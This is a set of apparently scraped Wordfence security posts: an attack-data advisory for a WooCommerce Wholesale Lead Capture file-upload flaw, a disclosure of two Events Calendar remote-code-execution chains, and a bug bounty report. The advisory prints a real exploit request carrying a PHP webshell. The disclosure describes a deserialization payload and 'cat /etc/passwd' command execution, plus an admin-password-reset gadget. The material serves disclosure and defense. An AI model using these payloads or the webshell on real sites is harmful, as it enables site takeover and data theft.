The Wholesale Lead Capture Plugin for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 2.0.3.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.

More Details >

Vulnerability Details

WooCommerce Wholesale Lead Capture is a premium plugin that provides a custom wholesale registration form, including support for file upload fields. The plugin exposes an AJAX action, wwlc_file_upload_handler, that processes these uploads and is reachable by unauthenticated visitors.

public function wwlc_file_upload_handler() {

	if ( ! function_exists( 'wp_handle_upload' ) )
		require_once( ABSPATH . 'wp-admin/includes/file.php' );

	$uploaded_file = $_FILES[ 'uploaded_file' ];
	$file_settings = $_REQUEST[ 'file_settings' ];
	$file_settings = stripslashes( $file_settings );
	$file_settings = json_decode( $file_settings );
	$file_settings = (array) $file_settings;

	$temp      = explode( '.' , $uploaded_file[ 'name' ] );
	$ext       = end( $temp );
	$error_msg = '';

	// Enforce restriction of allowed filetypes
	if ( ! in_array( $ext , $file_settings[ 'allowed_file_types' ] ) || ! in_array( $uploaded_file[ 'type' ] , get_allowed_mime_types() ) ) {

		$error_msg = __( 'The format of the file you selected is not supported', 'woocommerce-wholesale-lead-capture' );

	} else if ( $uploaded_file[ 'size' ] > (int) $file_settings[ 'max_allowed_file_size' ] ) {

		$error_msg = __( 'The file you selected exceeds the maximum allowed file size', 'woocommerce-wholesale-lead-capture' );

	}

	if ( $error_msg ) {

		$response = array(
			'status'  => 'fail',
			'message' => $error_msg
		);

		if ( defined( 'DOING_AJAX' ) && DOING_AJAX ){

			header( 'Content-Type: application/json' );
			echo json_encode( $response );
			die();

		} else return $response;

	}

	// Generate unique number and add to filename
	$uploaded_file[ 'name' ] = str_replace( '.' . $ext , '' , $uploaded_file[ 'name' ] ) . '-' . time() . '.' . $ext;

	$upload_overrides = array(
		'test_form' => false,  // Turn off to avoid 'Invalid form submission.'
		'test_type' => false   // Bypass mime type check so we can avoid doing upload_mimes filter.
	);

	// Set temp upload directory for wwlc file upload
	add_filter( 'upload_dir' , array( $this->wwlc_bootstrap , 'wwlc_set_temp_directory' ) );

	// Perform file upload
	$file     = wp_handle_upload( $uploaded_file , $upload_overrides );

In the vulnerable version, the handler does check the uploaded file’s extension against a list of allowed file types. However, that list of allowed file types is read directly from the request rather than from the form’s server-side configuration. Because the check relies on this attacker-controlled value, an unauthenticated attacker can simply include php in their own list of allowed file types to bypass the restriction and upload a file with a .php extension.

This makes it possible for unauthenticated attackers to write a PHP webshell to the site and execute arbitrary code, which can be leveraged to create administrator accounts, exfiltrate data, or take complete control of the site.

As with all arbitrary file upload vulnerabilities, this can lead to complete site compromise through the use of webshells and other techniques.

A Closer Look at the Attack Data

The following data highlights actual exploit attempts from threat actors targeting this vulnerability. The attacker submits a request to the wwlc_file_upload_handler AJAX action containing a forged file_settings parameter and a malicious file with a .php extension.

Example attack request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=e192c99c2c475858ec1b8e220b8f7674

--e192c99c2c475858ec1b8e220b8f7674
Content-Disposition: form-data; name="action"

wwlc_file_upload_handler
--e192c99c2c475858ec1b8e220b8f7674
Content-Disposition: form-data; name="file_settings"

{"allowed_file_types": ["php", "jpg"], "max_allowed_file_size": 99999999}
--e192c99c2c475858ec1b8e220b8f7674
Content-Disposition: form-data; name="uploaded_file"; filename="shell.php"
Content-Type: application/octet-stream
Expires: 0

<?php 
echo "sohai";
if(isset($_GET['sohai'])){
echo(php_uname().'<form method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="30"><input type="submit" value="Upload"></form>');if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){echo('ok');}
}

--e192c99c2c475858ec1b8e220b8f7674--

The uploaded shell.php is a PHP webshell that reports host details and provides a browser-based upload form for writing additional malicious files to the site.

Wordfence Firewall

The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

woocommerce wholesale lead capture file upload howto wordfence firewall

Total Number of Exploits Blocked

The Wordfence Firewall has blocked over 100,000 exploit attempts since the vulnerability was publicly disclosed.

Blocked attacks 06 WAF 899

Blocked attacks 07 WAF 899

Blocked attacks 08 WAF 899

According to our data, attackers have been targeting this vulnerability for months, with a large number of exploit attempts blocked between June 4th and June 17th, and also on July 1st and August 30th.

Top Offending IP Addresses

The following IP Addresses are currently the most actively engaged IP addresses targeting the WooCommerce Wholesale Lead Capture:

  • 92.241.13.213
    • Over 24,900 blocked requests.
  • 31.59.129.150
    • Over 24,000 blocked requests.
  • 2a0f:85c1:840:5389::1
    • Over 16,000 blocked requests.
  • 92.241.13.140
    • Over 9,100 blocked requests.
  • 23.137.105.214
    • Over 6,700 blocked requests.
  • 23.180.120.140
    • Over 6,600 blocked requests.
  • 104.194.9.138
    • Over 6,100 blocked requests.
  • 187.75.114.36
    • Over 470 blocked requests.
  • 114.10.43.203
    • Over 310 blocked requests.
  • 37.114.144.209
    • Over 310 blocked requests.

Blocked attacks by IP WAF 899

Indicators of Compromise

Because a successful attack results in an executable PHP file being written to the server, it is recommended to review your site for any unexpected or recently created .php files, particularly within the uploads directory. In the attacks we have observed, the uploaded files were often given names such as shell.php, though attackers may use other filenames as well.

We also recommend reviewing your web server access logs for requests to /wp-admin/admin-ajax.php with the action parameter set to wwlc_file_upload_handler, especially those originating from the following IP addresses:

  • 92.241.13.213
  • 31.59.129.150
  • 2a0f:85c1:840:5389::1
  • 92.241.13.140
  • 23.137.105.214
  • 23.180.120.140
  • 104.194.9.138
  • 187.75.114.36
  • 114.10.43.203
  • 37.114.144.209

If you find evidence of compromise, we recommend removing any unexpected files and unknown administrator accounts, and reviewing the site for backdoors. The absence of any such log entries does not guarantee that your website has not been compromised.

Conclusion

In today’s article, we covered the attack data for a critical-severity Unauthenticated Arbitrary File Upload vulnerability in the WooCommerce Wholesale Lead Capture plugin that allows unauthenticated threat actors to upload executable PHP files and achieve remote code execution, leading to complete site compromise. Our threat intelligence indicates that attackers have been targeting this vulnerability for months, with a large number of exploit attempts blocked between June 4th and June 17th, and also on July 1st and August 30th. The Wordfence firewall has already blocked over 100,000 exploit attempts targeting this vulnerability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in WooCommerce Wholesale Lead Capture on February 27, 2026. Sites using the free version of Wordfence received the same protection 30 days later on March 29, 2026.

Even if you have already received a firewall rule for this issue we urge you to ensure that your site is updated to the latest patched version in order to maintain normal functionality. If you have friends or colleagues using this plugin, be sure to forward this advisory to them, as sites could still be unprotected and unpatched.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

The post Attackers Actively Exploiting Critical Vulnerability in WooCommerce Wholesale Lead Capture Plugin appeared first on Wordfence.

]]> Wordfence Argus Identifies Two Critical Unauthenticated Vulnerability Chains Leading to Remote Code Execution in The Events Calendar Plugin https://swiftupdates.ca/wordfence-argus-identifies-two-critical-unauthenticated-vulnerability-chains-leading-to-remote-code-execution-in-the-events-calendar-plugin/ Mon, 14 Sep 2026 17:41:49 +0000 https://swiftupdates.ca/wordfence-argus-identifies-two-critical-unauthenticated-vulnerability-chains-leading-to-remote-code-execution-in-the-events-calendar-plugin/ On August 21 and August 22, 2026, Wordfence Argus, created by the Wordfence Threat Intelligence team, identified two independent critical vulnerability chains in The Events Calendar, a WordPress plugin active on more than 600,000 websites. Both chains begin in the plugin’s widget-rendering pipeline and can ultimately lead to Remote Code Execution without authentication through two separate methods.

The first chain uses PHP Object Injection to execute arbitrary operating system commands on the underlying server. The second chain bypasses the object-injection guard and abuses an arbitrary-callable primitive to reset an administrator’s password, after which an attacker can upload a malicious plugin and take complete control of the site.

No login, account registration, or social engineering is required, though the target event page must have comments enabled, which also requires The Events Calendar’s own “Show comments on event pages” option to be active. Both chains can be triggered through WordPress’s pending-comment preview without moderator approval. Successful exploitation could lead to complete site takeover, sensitive data theft, malware deployment, and a total loss of confidentiality, integrity, and availability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule protecting against known exploits targeting both vulnerabilities on August 22, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on September 21, 2026.

We sent full disclosure details for the first vulnerability to StellarWP, the developer of The Events Calendar, on August 21, 2026, through the Wordfence Vulnerability Management Portal. The StellarWP team acknowledged the report on August 24, 2026 and released an initial patch on August 25, 2026, just four days after our initial disclosure.

We disclosed the second vulnerability on August 23, 2026, after validating the report and confirming the proof-of-concept exploit. StellarWP acknowledged it on August 24, 2026 and released a fully patched version on September 10, 2026. We commend the StellarWP team for its prompt response and rapid work to address both critical issues.

We strongly urge users to update The Events Calendar to the latest patched version, version 6.17.4.1 at the time of publication, as soon as possible.

Vulnerability Summaries from Wordfence Intelligence

The Events Calendar <= 6.17.4 – Unauthenticated PHP Object Injection to Remote Code Execution

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-78006
Affected Version(s)
<= 6.17.4
Patched Version
6.17.4.1

Affected Software

The Events Calendar [the-events-calendar]

Researchers

The “The Events Calendar” plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.4 via the is_safe_widget_instance function. This is due to insufficient protection in is_safe_widget_instance, which can be bypassed because PHP fires magic methods during its pre-parse, combined with enable_rendering_widget_copied() forging a valid wp_hash integrity attribute before unserialize() is reached. This makes it possible for unauthenticated attackers to execute code on the server. This is exploitable without authentication or approval because the plugin’s V2 single-event template runs do_blocks() over buffered comment HTML, and WordPress returns a moderation-hash URL that allows an unauthenticated commenter to immediately view their own pending comment, delivering the injected block markup to the vulnerable code path before any moderation occurs. This does require comments to be enabled and visible on events.

More Details >

The Events Calendar <= 6.17.3 – Unauthenticated Code Injection to Remote Code Execution via Widget ‘classes’ Map Callable Invocation

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-78159
Affected Version(s)
<= 6.17.3
Patched Version
6.17.3.1

Affected Software

The Events Calendar [the-events-calendar]

Researchers

The “The Events Calendar” plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parse_array function. This is due to insufficient validation of the widget ‘classes’ map, allowing a plain-array payload to bypass the is_safe_widget_instance() object check and reach the callable-invocation sink in Element_Classes::parse_array(). This makes it possible for unauthenticated attackers to execute code on the server. Exploitation requires that the targeted site has comments enabled on tribe_events posts and that at least one comment containing a crafted wp:legacy-widget block has been submitted, as the attack chain is triggered when do_blocks() processes the single-event HTML including the comment area.

More Details >

Technical Analysis

The two vulnerabilities are independent exploitation chains built on the same dangerously exposed widget-rendering pipeline. A combination of insecure design decisions allows an anonymous commenter to place attacker-controlled Gutenberg block markup into a single-event page, obtain a valid integrity hash for a malicious widget instance, and reach one of two execution sinks.

The first chain smuggles a serialized object past a flawed validation routine and triggers a dangerous deserialization gadget. The second uses a valid plain-array payload to bypass the object guard entirely, inject attacker-controlled template variables, and invoke an arbitrary PHP callable.

The Shared Attack Surface: Processing Comments as Gutenberg Blocks

Both chains begin in the plugin’s V2 single-event template. In get_v1_single_event_html(), located in src/Tribe/Views/V2/Template_Bootstrap.php, the plugin uses output buffering to capture the entire rendered page, including the comment section, and then passes that buffer through WordPress’s do_blocks() function:

protected function get_v1_single_event_html() {
    // ...

    ob_start();
    if ( 'page' === $setting ) {
        echo '<section id="tribe-events">';
    } else {
        echo '<section id="tribe-events-pg-template" class="tribe-events-pg-template">';
    }
    tribe_events_before_html();
    tribe_get_view( 'single-event' );
    tribe_events_after_html();
    echo '</section>';

    $html = ob_get_clean();

    if ( function_exists( 'do_blocks' ) ) {
        $html = do_blocks( $html );
    }

    return $html;
}

WordPress core does not run do_blocks() over comment text; it processes blocks in post content. By buffering the entire page and passing it through do_blocks(), The Events Calendar dramatically widens the block-parser attack surface to include content submitted by anonymous comment authors.

WordPress’s KSES comment sanitizer preserves HTML comment delimiters (<!-- ... -->), which Gutenberg uses as block markup. A malicious block embedded in a comment can therefore survive sanitization and reach the block parser. After a comment is submitted, WordPress ordinarily redirects the commenter to a moderation-hash URL (?unapproved=N&moderation-hash=H) that allows the author to preview their own pending comment immediately. As a result, neither chain requires administrator approval, the attacker triggers widget rendering simply by viewing their own pending comment through the moderation-hash preview URL. Both the object-injection and arbitrary-callable sinks fire from this unapproved-comment preview.

The Shared Integrity-Check Bypass

Once do_blocks() encounters a wp:legacy-widget block whose idBase begins with tribe-widget-, The Events Calendar’s enable_rendering_widget_copied() filter in src/Tribe/Views/V2/Widgets/Service_Provider.php runs. The method base64-decodes the attacker-supplied widget instance, passes it to is_safe_widget_instance(), and, if the check succeeds, replaces the supplied hash with a freshly computed wp_hash() of the attacker’s data:

public function enable_rendering_widget_copied( $parsed_block ) {
    if ( ! isset( $parsed_block['attrs']['idBase'] ) ) {
        return $parsed_block;
    }

    $widget_id = $parsed_block['attrs']['idBase'];

    if ( ! str_starts_with( $widget_id, 'tribe-widget-' ) ) {
        return $parsed_block;
    }

    $instance = $parsed_block['attrs']['instance'] ?? [];

    if ( ! isset( $instance['encoded'], $instance['hash'] ) ) {
        return $parsed_block;
    }

    $serialized_instance = base64_decode( $instance['encoded'] );

    // Skip instances that do not pass validation.
    if ( ! $this->is_safe_widget_instance( $serialized_instance ) ) {
        return $parsed_block;
    }

    $instance['hash'] = wp_hash( $serialized_instance );

    $parsed_block['attrs']['instance'] = $instance;

    return $parsed_block;
}

WordPress core uses wp_hash() over a serialized widget instance as an integrity check before deserializing it. By generating a valid hash for attacker-controlled data, the plugin defeats core’s only integrity guard. An attacker can place any value, such as "hash":"deadbeef", in the block markup, and The Events Calendar silently replaces it with a cryptographically valid hash before core inspects the instance.

From this shared point, the two exploitation paths diverge.

Vulnerability Chain One: PHP Object Injection to Remote Code Execution

The first chain exploits a critical flaw in is_safe_widget_instance():

protected function is_safe_widget_instance( $serialized ) {
    $data = is_string( $serialized )
    // phpcs WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
    ? @unserialize( $serialized, [ 'allowed_classes' => false ] )
    : false;

    return ! $this->contains_object( $data );
}

The method calls unserialize() with allowed_classes => false and checks whether the returned value contains a PHP object. If it does not, the widget instance is considered safe. This logic assumes that allowed_classes => false prevents object-related behavior during the preliminary parse, but that assumption is incorrect: PHP can invoke the __unserialize() and __wakeup() magic methods while parsing, before unserialize() returns.

An attacker can exploit this behavior by placing a complete, well-formed object inside a serialized structure and appending an invalid type token after it. A simplified structure looks like this:

a:2:{i:0;<gadget_object>i:1;X}

The preliminary parse encounters the malformed tail and returns false. The guard then evaluates contains_object( false ), finds no object in the returned value, and declares the payload safe. Later, when WordPress core’s legacy-widget renderer performs the real unserialize() call, PHP constructs the embedded object and triggers its magic methods before failing on the trailing invalid data. By then, the dangerous behavior has already occurred.

The Deserialization Gadget

The magic-method entry point is __unserialize() in common/src/Tribe/Utils/Collection_Trait.php, which is used by Lazy_Post_Collection:

public function __unserialize( array $data ): void {
    if ( method_exists( $this, 'custom_unserialize' ) ) {
        $this->items = $this->custom_unserialize( maybe_serialize( $data ) );

        return;
    }

    $this->items = $data;
}

This method dispatches directly to custom_unserialize() in src/Tribe/Collections/Lazy_Post_Collection.php, which contains the final execution sink:

protected function custom_unserialize( $serialized ) {
    $unserialized = unserialize( $serialized );

    if ( false === $unserialized || ! is_array( $unserialized ) ) {
        return null;
    }

    return array_map( $unserialized['callback'], $unserialized['ids'] );
}

The method deserializes attacker-controlled data and passes $unserialized['callback'] and $unserialized['ids'] directly to array_map() without validation. By setting callback to system and ids to an array containing a shell command, such as id or cat /etc/passwd, an attacker can execute arbitrary operating system commands as the web server user.

This chain provides direct Remote Code Execution and can result in complete compromise of the affected WordPress installation.

Vulnerability Chain Two: Arbitrary PHP Callable to Remote Code Execution

The second chain reaches the same widget-instance validation routine but does not require a serialized object. It instead uses a plain PHP array, which passes is_safe_widget_instance() truthfully and completely because it contains no object. The object-injection guard therefore provides no protection against this exploitation path.

After The Events Calendar generates a valid hash for the array, WordPress core deserializes the instance and passes it to the widget’s widget() method. Widget_Abstract::setup_arguments() merges the attacker-controlled array directly into $this->arguments with array_merge().

The template engine later calls extract( $this->context ) on line 1066 of common/src/Tribe/Template.php. This turns every attacker-controlled array key, including classes, into a local variable in the template scope.

An attacker can force the widget’s event query to return no results, for example by appending ?tribe_paged=99 to the URL. This causes the messages.php sub-template to load. The template merges the attacker-controlled $classes variable with a default class list and passes the result to tec_classes():

if ( empty( $messages ) ) {
    return;
}

global $wp_version;

$default_classes = [
    'tribe-events-header__messages',
    'tribe-events-c-messages',
    'tribe-common-b2',
];
$classes    = isset( $classes ) ? array_merge( $default_classes, $classes ) : $default_classes;
$attributes = isset( $attributes ) ? (array) $attributes : [];

The tec_classes() function forwards this merged array to TribeUtilsElement_Classes::parse_array(). The utility is intended to collect CSS class names for widget markup and supports Closure values for dynamic class generation. The critical flaw is that its callable check is not restricted to closures. It accepts any value for which PHP’s is_callable() returns true, including strings naming globally available functions:

protected function parse_array( array $values ) {
    foreach ( $values as $key => $value ) {
        if ( is_int( $key ) ) {
            if ( is_bool( $value ) ) {
                $this->parse( $key, $value );
            } else {
                $this->parse( $value );
            }
        } elseif ( is_string( $key ) ) {
            if ( $value instanceof Closure || is_callable( $value ) ) {
                $value = $value( $this->results );
            }

            $this->parse_string( $key, tribe_is_truthy( $value ) );
        }
    }
}

Because is_callable( 'wp_update_user' ) returns true, an attacker can construct a classes map containing entries equivalent to:

{
    "ID": true,
    "user_pass": true,
    "zz": "wp_update_user"
}

As parse_array() processes the map in insertion order, it adds the ID and user_pass keys to $this->results with boolean true values. When the loop reaches the zz entry, is_callable( 'wp_update_user' ) succeeds and the function invokes wp_update_user( $this->results ).

At that point, $this->results contains values equivalent to ['ID' => true, 'user_pass' => true, ...]. WordPress interprets this as an instruction to change the password of user ID 1 to the string 1. The in-process call to wp_update_user() does not perform a capability check. The attacker can then log in as the administrator and upload a malicious plugin, achieving full Remote Code Execution and complete site takeover.

Disclosure Timeline

2026-08-21
We discovered the first vulnerability
Wordfence Argus found, and the Wordfence Threat Intelligence team validated, the PHP Object Injection to Remote Code Execution vulnerability in The Events Calendar.
2026-08-21
We disclosed the first vulnerability to the vendor
We sent full disclosure details for the PHP Object Injection chain to the StellarWP team through the Wordfence Vulnerability Management Portal.
2026-08-22
Wordfence Premium, Care, and Response users received a firewall rule
We released a firewall rule protecting Wordfence Premium, Care, and Response customers against known exploits targeting both vulnerabilities.
2026-08-23
We discovered the second vulnerability
Wordfence Argus found, and the Wordfence Threat Intelligence team validated, the independent arbitrary-callable vulnerability leading to Remote Code Execution.
2026-08-23
We disclosed the second vulnerability to the vendor
Full disclosure details for the arbitrary-callable report were sent to StellarWP through the Wordfence Vulnerability Management Portal.
2026-08-24
Vendor acknowledged the first report
The StellarWP team acknowledged the PHP Object Injection report and began working on a fix.
2026-08-24
Vendor acknowledged the second report
The StellarWP team acknowledged the arbitrary-callable report and began working on a fix.
2026-08-25
Patch released for the first vulnerability
StellarWP released a patch addressing the PHP Object Injection chain.
2026-09-01
Fully patched version released
StellarWP released a fully patched version addressing the arbitrary-callable vulnerability.
2026-09-21
Wordfence free users receive the firewall rule
Sites running the free version of Wordfence receive the same firewall rule 30 days after the Premium release.
Wordfence action
Vendor / external action

Conclusion

In this post, we detailed two independent critical vulnerability chains in The Events Calendar affecting vulnerable releases up to and including version 6.17.4. The first allows an unauthenticated attacker to execute arbitrary operating system commands through PHP Object Injection. The second allows an unauthenticated attacker to invoke arbitrary PHP functions with attacker-controlled arguments, which can be used to reset an administrator’s password and upload a malicious plugin.

Both chains arise from the plugin processing attacker-controlled comment content as Gutenberg blocks, generating valid integrity hashes for attacker-supplied widget instances, and passing that data into unsafe downstream behavior. Any affected site with comments enabled on event pages is at direct risk from anonymous attackers on the internet.

We strongly encourage all WordPress site owners and administrators using The Events Calendar to verify that they are running the latest patched version, 6.17.4.1, immediately. Neither chain requires a login or account registration, and both can be triggered without moderator approval through the pending-comment preview flow. Successful attacks can result in complete site and server compromise.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule protecting against known exploits targeting both vulnerabilities on August 22, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on September 21, 2026.

If you know someone who uses The Events Calendar on a WordPress site, we strongly recommend sharing this advisory with them so they can update promptly and keep their site secure.

The post Wordfence Argus Identifies Two Critical Unauthenticated Vulnerability Chains Leading to Remote Code Execution in The Events Calendar Plugin appeared first on Wordfence.

]]> Wordfence Bug Bounty Program Monthly Report – May 2026 https://swiftupdates.ca/wordfence-bug-bounty-program-monthly-report-may-2026/ Mon, 14 Sep 2026 15:39:07 +0000 https://swiftupdates.ca/wordfence-bug-bounty-program-monthly-report-may-2026/

In May 2026, the Wordfence Bug Bounty Program received 1095 vulnerability submissions from our growing community of security researchers working to improve the overall security posture of the WordPress ecosystem. These submissions are reviewed, triaged, and processed by the Wordfence Threat Intelligence team, with validated vulnerabilities responsibly disclosed to vendors, often through the Wordfence Vulnerability Management Portal – a free service for all WordPress vendors, and protected through the Wordfence Firewall where appropriate.

Our mission with the Wordfence Bug Bounty Program is to engage the broader security community in identifying and responsibly disclosing vulnerabilities in WordPress plugins and themes, so we can work with vendors to get them patched before attackers discover them. This collaborative effort enables Wordfence to accelerate patch adoption, provide early protection to millions of websites, and ensure that high-quality vulnerability intelligence reaches the WordPress ecosystem as efficiently as possible. It also ensures that we are able to remediate vulnerabilities before attackers are able to discover them and start exploiting them. That is why we reward researchers for valid submissions, and why we remain committed to processing every report with transparency, accuracy, and urgency.

🔍 Join the Wordfence Bug Bounty Program

Help secure the WordPress ecosystem while earning rewards for your security research.

We’re actively seeking skilled researchers to identify vulnerabilities in WordPress plugins and themes, with prompt payments and transparent processes.

As the most comprehensive and highest-quality WordPress vulnerability program, the Wordfence Bug Bounty Program plays a critical role in helping site owners, developers, and hosting providers stay ahead of emerging threats at all stages of the open source lifecycle.

In this report, we highlight key metrics of the Bug Bounty Program from May 2026, recognize the researchers contributing to WordPress security, and provide insight into the vulnerabilities uncovered and addressed.

Table of Contents
📊 Program Submission Highlights – May 2026
🔍 WordPress Software Vulnerability Submission Insights – May 2026
💰 Bounty Insights – May 2026
🌟 Top WordPress Security Researchers – May 2026
📣 Current WordPress Bug Bounty Program Promotions
🔦 Critical WordPress Software Vulnerability Highlights – May 2026
📝 Conclusion

 

If you’re interested in joining the program or learning more about how we responsibly manage disclosures and protect WordPress users, visit the Bug Bounty Program page.

🔍 WordPress Software Vendors – Sign Up For Free Centralized Management of all Vulnerabilities in Your Software

Wordfence provides a completely free vulnerability management portal for WordPress Software vendors to easily track and manage all vulnerabilities submitted to the Wordfence Bug Bounty Program, and added to the Wordfence Intelligence Vulnerability Database.

This portal streamlines and enhances the repsonsible disclosure process so you can secure your customers faster.

 

📊 Program Submission Highlights – May 2026

The Wordfence Bug Bounty Program is designed for momentum: rapid triage of critical issues, clear feedback, and fast, fair rewards. Each submission moves through our standardized workflow of validation, vendor coordination, patch verification, and firewall coverage where applicable, so research translates into real-world protection quickly.

🛡 Real-Time Protection Impact

Every vulnerability disclosed through this program is a threat you don’t have to face blindly. Our researchers uncover and report vulnerabilities before they can be exploited, and Wordfence Premium, Care and Response users get protection in real-time through our firewall. Free users are protected in 30 days.

Behind the numbers is meaningful impact for site owners. The issues surfaced here inform new firewall rules, strengthen our detection logic, and help vendors ship safer releases. If you’re new to bounty hunting, this is a great place to start: we publish scope clearly, pay promptly, and credit the work that keeps WordPress secure.

📈

Total Submissions

1095
-15.0% from last month
👥

Active Researchers

293
-10.4% from last month
🚨

High Threat

35
-32.7% from last month
⚠

Common & Dangerous

38
-25.5% from last month
🛡

WAF Rules Released

6
+100.0% from last month

 

🎯 Vulnerability Focus Areas

  • 🚨 High Threat Vulnerabilities: Issues that could result in full site compromise, such as Arbitrary File Uploads or Remote Code Execution. Must be exploitable by unauthenticated or low-level authenticated attackers with software having 25+ active installations.
  • ⚠ Common & Dangerous: Stored Cross-Site Scripting and SQL Injection vulnerabilities exploitable by unauthenticated or low-level authenticated attackers. Software must have 500+ active installations.

💰 Bounty Insights – May 2026

Our research powers real investment back into the community. This section totals bounties and bonuses paid for the month and showcases standout findings. Our philosophy is simple: reward high-quality, responsibly disclosed research that measurably reduces risk for WordPress users.

💰

Total Bounties Awarded

$34,454
May 2026
📊

Average Bounty Per Submission

$231.23
Per validated in-scope submission
🏆

Highest Single Bounty

$6,436
Top researcher reward

Top 5 Bounties Awarded

Want to earn more? Read the scope carefully, target high-threat classes, and include clear reproduction steps with proof of impact. We pay promptly on validated issues, and bonus multipliers may apply during limited-time promotions and challenges.

🔍 WordPress Software Vulnerability Submission Insights – May 2026

This section breaks down how reports map to our program outcomes. What’s in scope, what isn’t, and where the highest security impact typically sits. We highlight the most common in-scope vulnerability classes and the categories that yielded the largest rewards so researchers can focus their efforts where they matter most.

Authentication level and exploit preconditions drive risk and reward through our program. Unauthenticated and low-privilege paths tend to have outsized impact because they scale to more real-world compromise. Use these insights to prioritize your testing strategy and maximize both security value and bounty potential.

Total Number of Vulnerabilities Considered In Scope, Out of Scope, Rejected, or Duplicate

In Scope Out of Scope Rejected Duplicate
149 86 526 334

Top 10 Most Commonly Submitted In-Scope Vulnerability Types

The most frequently submitted vulnerability types highlight current testing focus areas across the researcher community. These patterns often reflect both ease of discovery and prevalence in the WordPress ecosystem.

Vulnerability Type Total Submissions Total Rewards Avg. Reward
CWE 79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) 73 $6,612.00 $90.58
CWE 269: Improper Privilege Management 14 $13,187.00 $941.93
CWE 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) 14 $2,449.00 $174.93
CWE 22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) 9 $5,696.00 $632.89
CWE 862: Missing Authorization 8 $1,869.00 $233.63
CWE 434: Unrestricted Upload of File with Dangerous Type 6 $1,216.00 $202.67
CWE 94: Improper Control of Generation of Code (‘Code Injection’) 4 $598.00 $149.50
CWE 200: Exposure of Sensitive Information to an Unauthorized Actor 2 $320.00 $160.00
CWE 639: Authorization Bypass Through User-Controlled Key 2 $188.00 $94.00
CWE 640: Weak Password Recovery Mechanism for Forgotten Password 2 $957.00 $478.50

 

Top 10 Highest Rewarded In-Scope Vulnerability Types

While some vulnerabilities appear frequently, others command premium rewards. This breakdown shows which vulnerability classes generated the highest total payouts across all submissions in those categories, indicating both severity and exploitability value.

Vulnerability Type Total Rewards Total Submissions Avg. Reward
CWE 269: Improper Privilege Management $13,187.00 14 $941.93
CWE 79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) $6,612.00 73 $90.58
CWE 22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) $5,696.00 9 $632.89
CWE 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) $2,449.00 14 $174.93
CWE 862: Missing Authorization $1,869.00 8 $233.63
CWE 434: Unrestricted Upload of File with Dangerous Type $1,216.00 6 $202.67
CWE 640: Weak Password Recovery Mechanism for Forgotten Password $957.00 2 $478.50
CWE 94: Improper Control of Generation of Code (‘Code Injection’) $598.00 4 $149.50
CWE 918: Server-Side Request Forgery (SSRF) $502.00 2 $251.00
CWE 285: Improper Authorization $325.00 1 $325.00

In-Scope Vulnerability Distribution by Authentication Level

Authentication requirements directly impact real-world exploitability. Unauthenticated and subscriber-level vulnerabilities typically pose greater risk, reflected in both our prioritization and reward structure.

Authentication Level Total Vulnerabilities Avg. Reward
Unauthenticated 53 $370.90
Contributor 43 $85.24
Subscriber 33 $304.44
Custom 9 $51.71
Unauthenticated – UI Required 5 $214.00
Author 4 $124.50

 

Vulnerability Submission Install Count Spread

Install counts help us gauge blast radius. Higher install bases can move a finding into higher priority and often correlate with stronger payouts, while smaller-but-critical ecosystems still qualify when the exploitability and impact warrant it.

Install Range Total Vulnerabilities Average CVSS Avg. Reward
1,000–49,999 51 7.38 $107.34
100,000–999,999 44 6.85 $444.43
50,000–99,999 20 7.04 $180.35
Off-Repo 10 8.58 $290.25
1,000,000–4,999,999 10 6.76 $401.11
500–999 7 8.67 $71.43
5,000,000+ 5 5.90 $129.60
0–499 2 8.15 $20.00

 

🌟Top WordPress Security Researchers – May 2026

Security is a team sport, and this leaderboard celebrates the people raising the bar. We recognize contributors by valid in-scope submissions, overall earnings, and average severity to highlight different paths to excellence.

Top 5 Researchers based on Volume of In-Scope Submissions

Volume leaders demonstrate consistent vulnerability discovery across diverse targets. These researchers excel at systematic testing and maintaining high validation rates.

Researcher Total Submissions Avg. Reward
Jonah Burgess (CryptoCat) 11 $153.91
h0xilo 6 $401.50
daroo 6 $1,382.83
theviper17y 5 $55.20
thevietronin 5 $71.00

Top 5 Researchers Based on Average CVSS of In-Scope Submissions

Quality over quantity defines these researchers who consistently identify high-severity vulnerabilities. Their average CVSS scores reflect expertise in finding critical security gaps.

Researcher Average CVSS Total Submissions Avg. Reward
Foxyyy 9.80 1 $98.00
Alyudin Nafiie 9.80 1 $98.00
CHOIGYEONGMIN 9.80 2 $3,380.50
밥김국 9.80 1 $228.00
t4g0 9.80 1 $163.00

Top 5 Researchers Based On Total Bounties Earned

Combining volume with severity, these top earners maximized their impact and rewards through strategic vulnerability research and comprehensive reporting.

Researcher Total Earned Total Submissions Avg. Reward
daroo $8,297.00 6 $1,382.83
